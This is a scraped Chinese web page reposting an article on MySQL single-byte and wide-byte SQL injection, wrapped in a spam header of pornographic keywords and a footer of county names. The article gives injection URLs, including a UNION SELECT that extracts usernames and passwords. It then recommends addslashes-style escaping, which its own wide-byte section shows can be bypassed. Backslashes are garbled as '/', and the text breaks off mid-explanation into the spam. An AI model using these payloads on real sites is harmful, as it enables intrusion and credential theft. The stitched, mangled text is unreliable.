国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > MySQL > 正文

解讀MySQL中SQL的單字節注入與寬字節注入

2024-07-24 12:43:27
字體:
來源:轉載
供稿:網友

一、單字節SQL注入

MYSQL的SQL注入已經由來已久,以下是普遍采用的注入步驟:

1、在GET參數上加一個/*或者#(mysql專有的注釋),判斷數據庫是否是mysql,比如:
http://www.xxx.com.cn/article.php?id=1607 and 1=1/*

2、猜解某表的字段數,從order by 1一直更改到頁面出錯為止,就可以得到該表的字段數

注入URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#

對應的SQL: select * from articles where id=1607 or 1=1 order by 10#3、使用該表和用戶表進行關聯查詢,在文章列表里就可以看到用戶名和密碼了。當也要猜解用戶表的表名和用戶名、密碼的字段名,比如上一步得到的字段數是5:

注入的URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 union select username,password,1,2,3 from user

對應的SQL: select * from articles where id=1607 or 1=1 union select username,password,1,2,3 from user

這樣就可以在界面上看到用戶名和密碼了。

解決方法:

過濾數據:這并不是羅唆。在合適的地方使用良好的數據過濾,可以減小多數安全隱患,甚至可以消除其中的一部分。

將數據用括號包含:如果你的數據庫允許(MySQL 允許),在 SQL 語句中,不論什么類型的數據都用單引號包含起來。

轉義數據:一些合法的數據可能在無意中破壞 SQL 語句本身的格式。使用 mysql_escape_string() 或者所使用數據庫提供的轉移函數。如果沒有提供這樣的函數,addslashes() 也是不錯的最后選擇。

二、寬字節注入

寬字節注入也是在最近的項目中發現的問題,大家都知道%df’ 被PHP轉義(開啟GPC、用addslashes函數,或者icov等),單引號被加上反斜杠/,變成了 %df/’,其中/的十六進制是 %5C ,那么現在 %df/’ = %df%5c%27,如果程序的默認字符集是GBK等寬字節字符集,則MYSQL用GBK的編碼時,會認為 %df%5c 是一個寬字符,也就是

主站蜘蛛池模板: 布尔津县| 宁津县| 宜良县| 邵阳市| 嘉禾县| 永兴县| 金秀| 徐州市| 遂昌县| 宁波市| 东城区| 阜新市| 七台河市| 冀州市| 保山市| 友谊县| 南郑县| 南丹县| 措美县| 怀柔区| 砚山县| 光山县| 沅陵县| 汉源县| 沂源县| 荥阳市| 儋州市| 崇阳县| 垫江县| 长宁县| 阿克陶县| 平凉市| 达尔| 上思县| 浠水县| 韶山市| 游戏| 阿荣旗| 巴彦淖尔市| 定兴县| 万全县|